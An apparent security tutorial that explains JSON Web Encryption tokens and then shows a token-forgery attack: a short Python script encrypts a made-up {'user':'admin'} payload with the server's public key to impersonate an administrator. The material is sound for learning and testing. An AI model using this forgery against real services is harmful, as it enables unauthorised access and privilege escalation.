Skip to main content

json-web-encryption-jwe

JSON Web Encryption (JWE)

JSON Web Encryption (JWE) is used to encrypt data inside tokens.
Unlike JWT (JWS), which only signs data, JWE encrypts the payload so attackers cannot read it.

JWE is commonly used for:

  • Authentication cookies
  • Secure session tokens
  • Sensitive identity data

How JWE Works

JWE uses two layers of encryption:

1. Content Encryption Key (CEK)

This key is used to:

  • Encrypt the actual data (payload)
  • Usually uses authenticated encryption (AES-GCM)
2. Public Key Encryption

The CEK itself is encrypted using the server’s public key.

The server then:

  • Uses its private key to decrypt the CEK
  • Uses CEK to decrypt the payload

JWE Structure

A JWE token has 5 parts:

Base64(Header).
Base64(Encrypt(CEK, public_key)).
Base64(IV).
Base64(Encrypt(Data, CEK)).
Base64(authentication_tag)

Where:

  • Header → Algorithm info
  • CEK encrypted with public key
  • IV → Initialization vector
  • Encrypted payload
  • Authentication tag (integrity check)
Example Header
{
"alg":"RSA-OAEP",
"enc":"A192GCM"
}

Meaning:

  • alg → Algorithm used to encrypt CEK
  • enc → Algorithm used to encrypt payload

The Attack

The issue here is a design issue. The integrity of the data is protected by the CEK.

An attacker cannot tamper with the data since they don't have access to the CEK. However, with an access to the public key, an attacker could forge tokens, and the only thing they need to guess is the content of the token.

Exploit

To exploit this vulnerability, you just need to create a token and encrypt with the public key.

To do so, you can use a JWE library in python:

### pip install jwcrypto
from jwcrypto import jwe, jwk
import json

with open("public.pem", "rb") as f:
public_key = jwk.JWK.from_pem(f.read())

payload = json.dumps({"user": "admin"}, separators=(",", ":")).encode()

jwe_token = jwe.JWE(plaintext=payload, protected={"alg": "RSA-OAEP", "enc": "A192GCM"}) ## Decode existing Token for these value.
jwe_token.add_recipient(public_key)

encrypted = jwe_token.serialize(compact=True)
print(encrypted)

The format of the payload is fairly simple and can be guessed too.